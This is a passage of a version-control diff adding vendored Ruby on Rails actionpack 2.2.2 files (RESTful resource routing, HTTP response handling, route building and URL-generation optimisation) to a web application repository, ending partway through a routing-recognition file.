+    #     # products_path == '/productos'
+    #     map.resources :products, :as => 'productos' do |product|
+    #       # product_reviews_path(product) == '/productos/1234/comentarios'
+    #       product.resources :product_reviews, :as => 'comentarios'
+    #     end
+    #
+    # * <tt>:has_one</tt> - Specify nested \resources, this is a shorthand for mapping singleton \resources beneath the current.
+    # * <tt>:has_many</tt> - Same has <tt>:has_one</tt>, but for plural \resources.
+    #
+    #   You may directly specify the routing association with +has_one+ and +has_many+ like:
+    #
+    #     map.resources :notes, :has_one => :author, :has_many => [:comments, :attachments]
+    #
+    #   This is the same as:
+    #
+    #     map.resources :notes do |notes|
+    #       notes.resource  :author
+    #       notes.resources :comments
+    #       notes.resources :attachments
+    #     end
+    #
+    # * <tt>:path_names</tt> - Specify different names for the 'new' and 'edit' actions. For example:
+    #     # new_products_path == '/productos/nuevo'
+    #     map.resources :products, :as => 'productos', :path_names => { :new => 'nuevo', :edit => 'editar' }
+    #
+    #   You can also set default action names from an environment, like this:
+    #     config.action_controller.resources_path_names = { :new => 'nuevo', :edit => 'editar' }
+    #
+    # * <tt>:path_prefix</tt> - Set a prefix to the routes with required route variables.
+    #
+    #   Weblog comments usually belong to a post, so you might use +resources+ like:
+    #
+    #     map.resources :articles
+    #     map.resources :comments, :path_prefix => '/articles/:article_id'
+    #
+    #   You can nest +resources+ calls to set this automatically:
+    #
+    #     map.resources :articles do |article|
+    #       article.resources :comments
+    #     end
+    #
+    #   The comment \resources work the same, but must now include a value for <tt>:article_id</tt>.
+    #
+    #     article_comments_url(@article)
+    #     article_comment_url(@article, @comment)
+    #
+    #     article_comments_url(:article_id => @article)
+    #     article_comment_url(:article_id => @article, :id => @comment)
+    #
+    #   If you don't want to load all objects from the database you might want to use the <tt>article_id</tt> directly:
+    #
+    #     articles_comments_url(@comment.article_id, @comment)
+    #
+    # * <tt>:name_prefix</tt> - Define a prefix for all generated routes, usually ending in an underscore.
+    #   Use this if you have named routes that may clash.
+    #
+    #     map.resources :tags, :path_prefix => '/books/:book_id', :name_prefix => 'book_'
+    #     map.resources :tags, :path_prefix => '/toys/:toy_id',   :name_prefix => 'toy_'
+    #
+    # You may also use <tt>:name_prefix</tt> to override the generic named routes in a nested \resource:
+    #
+    #   map.resources :articles do |article|
+    #     article.resources :comments, :name_prefix => nil
+    #   end
+    #
+    # This will yield named \resources like so:
+    #
+    #   comments_url(@article)
+    #   comment_url(@article, @comment)
+    #
+    # * <tt>:shallow</tt> - If true, paths for nested resources which reference a specific member
+    #   (ie. those with an :id parameter) will not use the parent path prefix or name prefix.
+    #
+    # The <tt>:shallow</tt> option is inherited by any nested resource(s).
+    #
+    # For example, 'users', 'posts' and 'comments' all use shallow paths with the following nested resources:
+    #
+    #   map.resources :users, :shallow => true do |user|
+    #     user.resources :posts do |post|
+    #       post.resources :comments
+    #     end
+    #   end
+    #   # --> GET /users/1/posts (maps to the PostsController#index action as usual)
+    #   #     also adds the usual named route called "user_posts"
+    #   # --> GET /posts/2 (maps to the PostsController#show action as if it were not nested)
+    #   #     also adds the named route called "post"
+    #   # --> GET /posts/2/comments (maps to the CommentsController#index action)
+    #   #     also adds the named route called "post_comments"
+    #   # --> GET /comments/2 (maps to the CommentsController#show action as if it were not nested)
+    #   #     also adds the named route called "comment"
+    #
+    # You may also use <tt>:shallow</tt> in combination with the +has_one+ and +has_many+ shorthand notations like:
+    #
+    #   map.resources :users, :has_many => { :posts => :comments }, :shallow => true
+    #
+    # * <tt>:only</tt> and <tt>:except</tt> - Specify which of the seven default actions should be routed to.
+    #
+    # <tt>:only</tt> and <tt>:except</tt> may be set to <tt>:all</tt>, <tt>:none</tt>, an action name or a
+    # list of action names. By default, routes are generated for all seven actions.
+    #
+    # For example:
+    #
+    #   map.resources :posts, :only => [:index, :show] do |post|
+    #     post.resources :comments, :except => [:update, :destroy]
+    #   end
+    #   # --> GET /posts (maps to the PostsController#index action)
+    #   # --> POST /posts (fails)
+    #   # --> GET /posts/1 (maps to the PostsController#show action)
+    #   # --> DELETE /posts/1 (fails)
+    #   # --> POST /posts/1/comments (maps to the CommentsController#create action)
+    #   # --> PUT /posts/1/comments/1 (fails)
+    #
+    # The <tt>:only</tt> and <tt>:except</tt> options are inherited by any nested resource(s).
+    #
+    # If <tt>map.resources</tt> is called with multiple resources, they all get the same options applied.
+    #
+    # Examples:
+    #
+    #   map.resources :messages, :path_prefix => "/thread/:thread_id"
+    #   # --> GET /thread/7/messages/1
+    #
+    #   map.resources :messages, :collection => { :rss => :get }
+    #   # --> GET /messages/rss (maps to the #rss action)
+    #   #     also adds a named route called "rss_messages"
+    #
+    #   map.resources :messages, :member => { :mark => :post }
+    #   # --> POST /messages/1/mark (maps to the #mark action)
+    #   #     also adds a named route called "mark_message"
+    #
+    #   map.resources :messages, :new => { :preview => :post }
+    #   # --> POST /messages/new/preview (maps to the #preview action)
+    #   #     also adds a named route called "preview_new_message"
+    #
+    #   map.resources :messages, :new => { :new => :any, :preview => :post }
+    #   # --> POST /messages/new/preview (maps to the #preview action)
+    #   #     also adds a named route called "preview_new_message"
+    #   # --> /messages/new can be invoked via any request method
+    #
+    #   map.resources :messages, :controller => "categories",
+    #         :path_prefix => "/category/:category_id",
+    #         :name_prefix => "category_"
+    #   # --> GET /categories/7/messages/1
+    #   #     has named route "category_message"
+    #
+    # The +resources+ method sets HTTP method restrictions on the routes it generates. For example, making an
+    # HTTP POST on <tt>new_message_url</tt> will raise a RoutingError exception. The default route in
+    # <tt>config/routes.rb</tt> overrides this and allows invalid HTTP methods for \resource routes.
+    def resources(*entities, &block)
+      options = entities.extract_options!
+      entities.each { |entity| map_resource(entity, options.dup, &block) }
+    end
+
+    # Creates named routes for implementing verb-oriented controllers for a singleton \resource.
+    # A singleton \resource is global to its current context.  For unnested singleton \resources,
+    # the \resource is global to the current user visiting the application, such as a user's
+    # <tt>/account</tt> profile.  For nested singleton \resources, the \resource is global to its parent
+    # \resource, such as a <tt>projects</tt> \resource that <tt>has_one :project_manager</tt>.
+    # The <tt>project_manager</tt> should be mapped as a singleton \resource under <tt>projects</tt>:
+    #
+    #   map.resources :projects do |project|
+    #     project.resource :project_manager
+    #   end
+    #
+    # See +resources+ for general conventions.  These are the main differences:
+    # * A singular name is given to <tt>map.resource</tt>.  The default controller name is still taken from the plural name.
+    # * To specify a custom plural name, use the <tt>:plural</tt> option.  There is no <tt>:singular</tt> option.
+    # * No default index route is created for the singleton \resource controller.
+    # * When nesting singleton \resources, only the singular name is used as the path prefix (example: 'account/messages/1')
+    #
+    # For example:
+    #
+    #   map.resource :account
+    #
+    # maps these actions in the Accounts controller:
+    #
+    #   class AccountsController < ActionController::Base
+    #     # GET new_account_url
+    #     def new
+    #       # return an HTML form for describing the new account
+    #     end
+    #
+    #     # POST account_url
+    #     def create
+    #       # create an account
+    #     end
+    #
+    #     # GET account_url
+    #     def show
+    #       # find and return the account
+    #     end
+    #
+    #     # GET edit_account_url
+    #     def edit
+    #       # return an HTML form for editing the account
+    #     end
+    #
+    #     # PUT account_url
+    #     def update
+    #       # find and update the account
+    #     end
+    #
+    #     # DELETE account_url
+    #     def destroy
+    #       # delete the account
+    #     end
+    #   end
+    #
+    # Along with the routes themselves, +resource+ generates named routes for
+    # use in controllers and views. <tt>map.resource :account</tt> produces
+    # these named routes and helpers:
+    #
+    #   Named Route   Helpers
+    #   ============  =============================================
+    #   account       account_url, hash_for_account_url,
+    #                 account_path, hash_for_account_path
+    #
+    #   new_account   new_account_url, hash_for_new_account_url,
+    #                 new_account_path, hash_for_new_account_path
+    #
+    #   edit_account  edit_account_url, hash_for_edit_account_url,
+    #                 edit_account_path, hash_for_edit_account_path
+    def resource(*entities, &block)
+      options = entities.extract_options!
+      entities.each { |entity| map_singleton_resource(entity, options.dup, &block) }
+    end
+
+    private
+      def map_resource(entities, options = {}, &block)
+        resource = Resource.new(entities, options)
+
+        with_options :controller => resource.controller do |map|
+          map_collection_actions(map, resource)
+          map_default_collection_actions(map, resource)
+          map_new_actions(map, resource)
+          map_member_actions(map, resource)
+
+          map_associations(resource, options)
+
+          if block_given?
+            with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
+          end
+        end
+      end
+
+      def map_singleton_resource(entities, options = {}, &block)
+        resource = SingletonResource.new(entities, options)
+
+        with_options :controller => resource.controller do |map|
+          map_collection_actions(map, resource)
+          map_default_singleton_actions(map, resource)
+          map_new_actions(map, resource)
+          map_member_actions(map, resource)
+
+          map_associations(resource, options)
+
+          if block_given?
+            with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
+          end
+        end
+      end
+
+      def map_associations(resource, options)
+        map_has_many_associations(resource, options.delete(:has_many), options) if options[:has_many]
+
+        path_prefix = "#{options.delete(:path_prefix)}#{resource.nesting_path_prefix}"
+        name_prefix = "#{options.delete(:name_prefix)}#{resource.nesting_name_prefix}"
+
+        Array(options[:has_one]).each do |association|
+          resource(association, options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => path_prefix, :name_prefix => name_prefix))
+        end
+      end
+
+      def map_has_many_associations(resource, associations, options)
+        case associations
+        when Hash
+          associations.each do |association,has_many|
+            map_has_many_associations(resource, association, options.merge(:has_many => has_many))
+          end
+        when Array
+          associations.each do |association|
+            map_has_many_associations(resource, association, options)
+          end
+        when Symbol, String
+          resources(associations, options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix, :has_many => options[:has_many]))
+        else
+        end
+      end
+
+      def map_collection_actions(map, resource)
+        resource.collection_methods.each do |method, actions|
+          actions.each do |action|
+            [method].flatten.each do |m|
+              map_resource_routes(map, resource, action, "#{resource.path}#{resource.action_separator}#{action}", "#{action}_#{resource.name_prefix}#{resource.plural}", m)
+            end
+          end
+        end
+      end
+
+      def map_default_collection_actions(map, resource)
+        index_route_name = "#{resource.name_prefix}#{resource.plural}"
+
+        if resource.uncountable?
+          index_route_name << "_index"
+        end
+
+        map_resource_routes(map, resource, :index, resource.path, index_route_name)
+        map_resource_routes(map, resource, :create, resource.path, index_route_name)
+      end
+
+      def map_default_singleton_actions(map, resource)
+        map_resource_routes(map, resource, :create, resource.path, "#{resource.shallow_name_prefix}#{resource.singular}")
+      end
+
+      def map_new_actions(map, resource)
+        resource.new_methods.each do |method, actions|
+          actions.each do |action|
+            route_path = resource.new_path
+            route_name = "new_#{resource.name_prefix}#{resource.singular}"
+
+            unless action == :new
+              route_path = "#{route_path}#{resource.action_separator}#{action}"
+              route_name = "#{action}_#{route_name}"
+            end
+
+            map_resource_routes(map, resource, action, route_path, route_name, method)
+          end
+        end
+      end
+
+      def map_member_actions(map, resource)
+        resource.member_methods.each do |method, actions|
+          actions.each do |action|
+            [method].flatten.each do |m|
+              action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
+              action_path ||= Base.resources_path_names[action] || action
+
+              map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m)
+            end
+          end
+        end
+
+        route_path = "#{resource.shallow_name_prefix}#{resource.singular}"
+        map_resource_routes(map, resource, :show, resource.member_path, route_path)
+        map_resource_routes(map, resource, :update, resource.member_path, route_path)
+        map_resource_routes(map, resource, :destroy, resource.member_path, route_path)
+      end
+
+      def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil)
+        if resource.has_action?(action)
+          action_options = action_options_for(action, resource, method)
+          formatted_route_path = "#{route_path}.:format"
+
+          if route_name && @set.named_routes[route_name.to_sym].nil?
+            map.named_route(route_name, route_path, action_options)
+            map.named_route("formatted_#{route_name}", formatted_route_path, action_options)
+          else
+            map.connect(route_path, action_options)
+            map.connect(formatted_route_path, action_options)
+          end
+        end
+      end
+
+      def add_conditions_for(conditions, method)
+        returning({:conditions => conditions.dup}) do |options|
+          options[:conditions][:method] = method unless method == :any
+        end
+      end
+
+      def action_options_for(action, resource, method = nil)
+        default_options = { :action => action.to_s }
+        require_id = !resource.kind_of?(SingletonResource)
+
+        case default_options[:action]
+          when "index", "new"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements)
+          when "create";       default_options.merge(add_conditions_for(resource.conditions, method || :post)).merge(resource.requirements)
+          when "show", "edit"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements(require_id))
+          when "update";       default_options.merge(add_conditions_for(resource.conditions, method || :put)).merge(resource.requirements(require_id))
+          when "destroy";      default_options.merge(add_conditions_for(resource.conditions, method || :delete)).merge(resource.requirements(require_id))
+          else                  default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements)
+        end
+      end
+  end
+end
+
+class ActionController::Routing::RouteSet::Mapper
+  include ActionController::Resources
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/response.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/response.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/response.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,190 @@
+require 'digest/md5'
+
+module ActionController # :nodoc:
+  # Represents an HTTP response generated by a controller action. One can use an
+  # ActionController::AbstractResponse object to retrieve the current state of the
+  # response, or customize the response. An AbstractResponse object can either
+  # represent a "real" HTTP response (i.e. one that is meant to be sent back to the
+  # web browser) or a test response (i.e. one that is generated from integration
+  # tests). See CgiResponse and TestResponse, respectively.
+  #
+  # AbstractResponse is mostly a Ruby on Rails framework implement detail, and should
+  # never be used directly in controllers. Controllers should use the methods defined
+  # in ActionController::Base instead. For example, if you want to set the HTTP
+  # response's content MIME type, then use ActionControllerBase#headers instead of
+  # AbstractResponse#headers.
+  #
+  # Nevertheless, integration tests may want to inspect controller responses in more
+  # detail, and that's when AbstractResponse can be useful for application developers.
+  # Integration test methods such as ActionController::Integration::Session#get and
+  # ActionController::Integration::Session#post return objects of type TestResponse
+  # (which are of course also of type AbstractResponse).
+  #
+  # For example, the following demo integration "test" prints the body of the
+  # controller response to the console:
+  #
+  #  class DemoControllerTest < ActionController::IntegrationTest
+  #    def test_print_root_path_to_console
+  #      get('/')
+  #      puts @response.body
+  #    end
+  #  end
+  class AbstractResponse
+    DEFAULT_HEADERS = { "Cache-Control" => "no-cache" }
+    attr_accessor :request
+
+    # The body content (e.g. HTML) of the response, as a String.
+    attr_accessor :body
+    # The headers of the response, as a Hash. It maps header names to header values.
+    attr_accessor :headers
+    attr_accessor :session, :cookies, :assigns, :template, :layout
+    attr_accessor :redirected_to, :redirected_to_method_params
+
+    delegate :default_charset, :to => 'ActionController::Base'
+
+    def initialize
+      @body, @headers, @session, @assigns = "", DEFAULT_HEADERS.merge("cookie" => []), [], []
+    end
+
+    def status; headers['Status'] end
+    def status=(status) headers['Status'] = status end
+
+    def location; headers['Location'] end
+    def location=(url) headers['Location'] = url end
+
+
+    # Sets the HTTP response's content MIME type. For example, in the controller
+    # you could write this:
+    #
+    #  response.content_type = "text/plain"
+    #
+    # If a character set has been defined for this response (see charset=) then
+    # the character set information will also be included in the content type
+    # information.
+    def content_type=(mime_type)
+      self.headers["Content-Type"] =
+        if mime_type =~ /charset/ || (c = charset).nil?
+          mime_type.to_s
+        else
+          "#{mime_type}; charset=#{c}"
+        end
+    end
+
+    # Returns the response's content MIME type, or nil if content type has been set.
+    def content_type
+      content_type = String(headers["Content-Type"] || headers["type"]).split(";")[0]
+      content_type.blank? ? nil : content_type
+    end
+
+    # Set the charset of the Content-Type header. Set to nil to remove it.
+    # If no content type is set, it defaults to HTML.
+    def charset=(charset)
+      headers["Content-Type"] =
+        if charset
+          "#{content_type || Mime::HTML}; charset=#{charset}"
+        else
+          content_type || Mime::HTML.to_s
+        end
+    end
+
+    def charset
+      charset = String(headers["Content-Type"] || headers["type"]).split(";")[1]
+      charset.blank? ? nil : charset.strip.split("=")[1]
+    end
+
+    def last_modified
+      if last = headers['Last-Modified']
+        Time.httpdate(last)
+      end
+    end
+
+    def last_modified?
+      headers.include?('Last-Modified')
+    end
+
+    def last_modified=(utc_time)
+      headers['Last-Modified'] = utc_time.httpdate
+    end
+
+    def etag
+      headers['ETag']
+    end
+    
+    def etag?
+      headers.include?('ETag')
+    end
+    
+    def etag=(etag)
+      headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}")
+    end
+
+    def redirect(url, status)
+      self.status = status
+      self.location = url.gsub(/[\r\n]/, '')
+      self.body = "<html><body>You are being <a href=\"#{CGI.escapeHTML(url)}\">redirected</a>.</body></html>"
+    end
+
+    def sending_file?
+      headers["Content-Transfer-Encoding"] == "binary"
+    end
+
+    def assign_default_content_type_and_charset!
+      self.content_type ||= Mime::HTML
+      self.charset ||= default_charset unless sending_file?
+    end
+
+    def prepare!
+      assign_default_content_type_and_charset!
+      handle_conditional_get!
+      set_content_length!
+      convert_content_type!
+    end
+
+    private
+      def handle_conditional_get! 
+        if etag? || last_modified? 
+          set_conditional_cache_control! 
+        elsif nonempty_ok_response? 
+          self.etag = body 
+
+          if request && request.etag_matches?(etag) 
+            self.status = '304 Not Modified' 
+            self.body = '' 
+          end 
+
+          set_conditional_cache_control! 
+        end 
+      end
+
+      def nonempty_ok_response?
+        ok = !status || status[0..2] == '200'
+        ok && body.is_a?(String) && !body.empty?
+      end
+
+      def set_conditional_cache_control!
+        if headers['Cache-Control'] == DEFAULT_HEADERS['Cache-Control']
+          headers['Cache-Control'] = 'private, max-age=0, must-revalidate'
+        end
+      end
+
+      def convert_content_type!
+        if content_type = headers.delete("Content-Type")
+          self.headers["type"] = content_type
+        end
+        if content_type = headers.delete("Content-type")
+          self.headers["type"] = content_type
+        end
+        if content_type = headers.delete("content-type")
+          self.headers["type"] = content_type
+        end
+      end
+    
+      # Don't set the Content-Length for block-based bodies as that would mean reading it all into memory. Not nice
+      # for, say, a 2GB streaming file.
+      def set_content_length!
+        unless body.respond_to?(:call) || (status && status[0..2] == '304')
+          self.headers["Content-Length"] ||= body.size
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/builder.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/builder.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/builder.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,194 @@
+module ActionController
+  module Routing
+    class RouteBuilder #:nodoc:
+      attr_reader :separators, :optional_separators
+      attr_reader :separator_regexp, :nonseparator_regexp, :interval_regexp
+
+      def initialize
+        @separators = Routing::SEPARATORS
+        @optional_separators = %w( / )
+
+        @separator_regexp = /[#{Regexp.escape(separators.join)}]/
+        @nonseparator_regexp = /\A([^#{Regexp.escape(separators.join)}]+)/
+        @interval_regexp = /(.*?)(#{separator_regexp}|$)/
+      end
+
+      # Accepts a "route path" (a string defining a route), and returns the array
+      # of segments that corresponds to it. Note that the segment array is only
+      # partially initialized--the defaults and requirements, for instance, need
+      # to be set separately, via the +assign_route_options+ method, and the
+      # <tt>optional?</tt> method for each segment will not be reliable until after
+      # +assign_route_options+ is called, as well.
+      def segments_for_route_path(path)
+        rest, segments = path, []
+
+        until rest.empty?
+          segment, rest = segment_for(rest)
+          segments << segment
+        end
+        segments
+      end
+
+      # A factory method that returns a new segment instance appropriate for the
+      # format of the given string.
+      def segment_for(string)
+        segment =
+          case string
+            when /\A:(\w+)/
+              key = $1.to_sym
+              key == :controller ? ControllerSegment.new(key) : DynamicSegment.new(key)
+            when /\A\*(\w+)/
+              PathSegment.new($1.to_sym, :optional => true)
+            when /\A\?(.*?)\?/
+              StaticSegment.new($1, :optional => true)
+            when nonseparator_regexp
+              StaticSegment.new($1)
+            when separator_regexp
+              DividerSegment.new($&, :optional => optional_separators.include?($&))
+          end
+        [segment, $~.post_match]
+      end
+
+      # Split the given hash of options into requirement and default hashes. The
+      # segments are passed alongside in order to distinguish between default values
+      # and requirements.
+      def divide_route_options(segments, options)
+        options = options.except(:path_prefix, :name_prefix)
+
+        if options[:namespace]
+          options[:controller] = "#{options.delete(:namespace).sub(/\/$/, '')}/#{options[:controller]}"
+        end
+
+        requirements = (options.delete(:requirements) || {}).dup
+        defaults     = (options.delete(:defaults)     || {}).dup
+        conditions   = (options.delete(:conditions)   || {}).dup
+
+        validate_route_conditions(conditions)
+
+        path_keys = segments.collect { |segment| segment.key if segment.respond_to?(:key) }.compact
+        options.each do |key, value|
+          hash = (path_keys.include?(key) && ! value.is_a?(Regexp)) ? defaults : requirements
+          hash[key] = value
+        end
+
+        [defaults, requirements, conditions]
+      end
+
+      # Takes a hash of defaults and a hash of requirements, and assigns them to
+      # the segments. Any unused requirements (which do not correspond to a segment)
+      # are returned as a hash.
+      def assign_route_options(segments, defaults, requirements)
+        route_requirements = {} # Requirements that do not belong to a segment
+
+        segment_named = Proc.new do |key|
+          segments.detect { |segment| segment.key == key if segment.respond_to?(:key) }
+        end
+
+        requirements.each do |key, requirement|
+          segment = segment_named[key]
+          if segment
+            raise TypeError, "#{key}: requirements on a path segment must be regular expressions" unless requirement.is_a?(Regexp)
+            if requirement.source =~ %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
+              raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
+            end
+            if requirement.multiline?
+              raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+            end
+            segment.regexp = requirement
+          else
+            route_requirements[key] = requirement
+          end
+        end
+
+        defaults.each do |key, default|
+          segment = segment_named[key]
+          raise ArgumentError, "#{key}: No matching segment exists; cannot assign default" unless segment
+          segment.is_optional = true
+          segment.default = default.to_param if default
+        end
+
+        assign_default_route_options(segments)
+        ensure_required_segments(segments)
+        route_requirements
+      end
+
+      # Assign default options, such as 'index' as a default for <tt>:action</tt>. This
+      # method must be run *after* user supplied requirements and defaults have
+      # been applied to the segments.
+      def assign_default_route_options(segments)
+        segments.each do |segment|
+          next unless segment.is_a? DynamicSegment
+          case segment.key
+            when :action
+              if segment.regexp.nil? || segment.regexp.match('index').to_s == 'index'
+                segment.default ||= 'index'
+                segment.is_optional = true
+              end
+            when :id
+              if segment.default.nil? && segment.regexp.nil? || segment.regexp =~ ''
+                segment.is_optional = true
+              end
+          end
+        end
+      end
+
+      # Makes sure that there are no optional segments that precede a required
+      # segment. If any are found that precede a required segment, they are
+      # made required.
+      def ensure_required_segments(segments)
+        allow_optional = true
+        segments.reverse_each do |segment|
+          allow_optional &&= segment.optional?
+          if !allow_optional && segment.optional?
+            unless segment.optionality_implied?
+              warn "Route segment \"#{segment.to_s}\" cannot be optional because it precedes a required segment. This segment will be required."
+            end
+            segment.is_optional = false
+          elsif allow_optional && segment.respond_to?(:default) && segment.default
+            # if a segment has a default, then it is optional
+            segment.is_optional = true
+          end
+        end
+      end
+
+      # Construct and return a route with the given path and options.
+      def build(path, options)
+        # Wrap the path with slashes
+        path = "/#{path}" unless path[0] == ?/
+        path = "#{path}/" unless path[-1] == ?/
+
+        path = "/#{options[:path_prefix].to_s.gsub(/^\//,'')}#{path}" if options[:path_prefix]
+
+        segments = segments_for_route_path(path)
+        defaults, requirements, conditions = divide_route_options(segments, options)
+        requirements = assign_route_options(segments, defaults, requirements)
+
+        # TODO: Segments should be frozen on initialize
+        segments.each { |segment| segment.freeze }
+
+        route = Route.new(segments, requirements, conditions)
+
+        if !route.significant_keys.include?(:controller)
+          raise ArgumentError, "Illegal route: the :controller must be specified!"
+        end
+
+        route.freeze
+      end
+
+      private
+        def validate_route_conditions(conditions)
+          if method = conditions[:method]
+            [method].flatten.each do |m|
+              if m == :head
+                raise ArgumentError, "HTTP method HEAD is invalid in route conditions. Rails processes HEAD requests the same as GETs, returning just the response headers"
+              end
+
+              unless HTTP_METHODS.include?(m.to_sym)
+                raise ArgumentError, "Invalid HTTP method specified in route conditions: #{conditions.inspect}"
+              end
+            end
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/optimisations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/optimisations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/optimisations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,130 @@
+module ActionController
+  module Routing
+    # Much of the slow performance from routes comes from the
+    # complexity of expiry, <tt>:requirements</tt> matching, defaults providing
+    # and figuring out which url pattern to use.  With named routes
+    # we can avoid the expense of finding the right route.  So if
+    # they've provided the right number of arguments, and have no
+    # <tt>:requirements</tt>, we can just build up a string and return it.
+    #
+    # To support building optimisations for other common cases, the
+    # generation code is separated into several classes
+    module Optimisation
+      def generate_optimisation_block(route, kind)
+        return "" unless route.optimise?
+        OPTIMISERS.inject("") do |memo, klazz|
+          memo << klazz.new(route, kind).source_code
+          memo
+        end
+      end
+
+      class Optimiser
+        attr_reader :route, :kind
+        GLOBAL_GUARD_CONDITIONS = [
+          "(!defined?(default_url_options) || default_url_options.blank?)",
+          "(!defined?(controller.default_url_options) || controller.default_url_options.blank?)",
+          "defined?(request)",
+          "request"
+          ]
+
+        def initialize(route, kind)
+          @route = route
+          @kind  = kind
+        end
+
+        def guard_conditions
+          ["false"]
+        end
+
+        def generation_code
+          'nil'
+        end
+
+        def source_code
+          if applicable?
+            guard_condition = (GLOBAL_GUARD_CONDITIONS + guard_conditions).join(" && ")
+            "return #{generation_code} if #{guard_condition}\n"
+          else
+            "\n"
+          end
+        end
+
+        # Temporarily disabled <tt>:url</tt> optimisation pending proper solution to
+        # Issues around request.host etc.
+        def applicable?
+          true
+        end
+      end
+
+      # Given a route
+      #
+      #   map.person '/people/:id'
+      #
+      # If the user calls <tt>person_url(@person)</tt>, we can simply
+      # return a string like "/people/#{@person.to_param}"
+      # rather than triggering the expensive logic in +url_for+.
+      class PositionalArguments < Optimiser
+        def guard_conditions
+          number_of_arguments = route.segment_keys.size
+          # if they're using foo_url(:id=>2) it's one
+          # argument, but we don't want to generate /foos/id2
+          if number_of_arguments == 1
+            ["args.size == 1", "!args.first.is_a?(Hash)"]
+          else
+            ["args.size == #{number_of_arguments}"]
+          end
+        end
+
+        def generation_code
+          elements = []
+          idx = 0
+
+          if kind == :url
+            elements << '#{request.protocol}'
+            elements << '#{request.host_with_port}'
+          end
+
+          elements << '#{ActionController::Base.relative_url_root if ActionController::Base.relative_url_root}'
+
+          # The last entry in <tt>route.segments</tt> appears to *always* be a
+          # 'divider segment' for '/' but we have assertions to ensure that
+          # we don't include the trailing slashes, so skip them.
+          (route.segments.size == 1 ? route.segments : route.segments[0..-2]).each do |segment|
+            if segment.is_a?(DynamicSegment)
+              elements << segment.interpolation_chunk("args[#{idx}].to_param")
+              idx += 1
+            else
+              elements << segment.interpolation_chunk
+            end
+          end
+          %("#{elements * ''}")
+        end
+      end
+
+      # This case is mostly the same as the positional arguments case
+      # above, but it supports additional query parameters as the last
+      # argument
+      class PositionalArgumentsWithAdditionalParams < PositionalArguments
+        def guard_conditions
+          ["args.size == #{route.segment_keys.size + 1}"] +
+          UrlRewriter::RESERVED_OPTIONS.collect{ |key| "!args.last.has_key?(:#{key})" }
+        end
+
+        # This case uses almost the same code as positional arguments,
+        # but add a question mark and args.last.to_query on the end,
+        # unless the last arg is empty
+        def generation_code
+          super.insert(-2, '#{\'?\' + args.last.to_query unless args.last.empty?}')
+        end
+
+        # To avoid generating "http://localhost/?host=foo.example.com" we
+        # can't use this optimisation on routes without any segments
+        def applicable?
+          super && route.segment_keys.size > 0
+        end
+      end
+
+      OPTIMISERS = [PositionalArguments, PositionalArgumentsWithAdditionalParams]
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/recognition_optimisation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/recognition_optimisation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/recognition_optimisation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,168 @@
+module ActionController
+  module Routing
+    # BEFORE:   0.191446860631307 ms/url
+    # AFTER:    0.029847304022858 ms/url
+    # Speed up: 6.4 times
+    #
+    # Route recognition is slow due to one-by-one iterating over
+    # a whole routeset (each map.resources generates at least 14 routes)
+    # and matching weird regexps on each step.
+    #
+    # We optimize this by skipping all URI segments that 100% sure can't
+    # be matched, moving deeper in a tree of routes (where node == segment)
+    # until first possible match is accured. In such case, we start walking
+    # a flat list of routes, matching them with accurate matcher.
+    # So, first step: search a segment tree for the first relevant index.
+    # Second step: iterate routes starting with that index.
+    #
+    # How tree is walked? We can do a recursive tests, but it's smarter:
+    # We just create a tree of if-s and elsif-s matching segments.
+    #
+    # We have segments of 3 flavors:
+    # 1) nil (no segment, route finished)
+    # 2) const-dot-dynamic (like "/posts.:xml", "/preview.:size.jpg")
+    # 3) const (like "/posts", "/comments")
+    # 4) dynamic ("/:id", "file.:size.:extension")
+    #
+    # We split incoming string into segments and iterate over them.
+    # When segment is nil, we drop immediately, on a current node index.
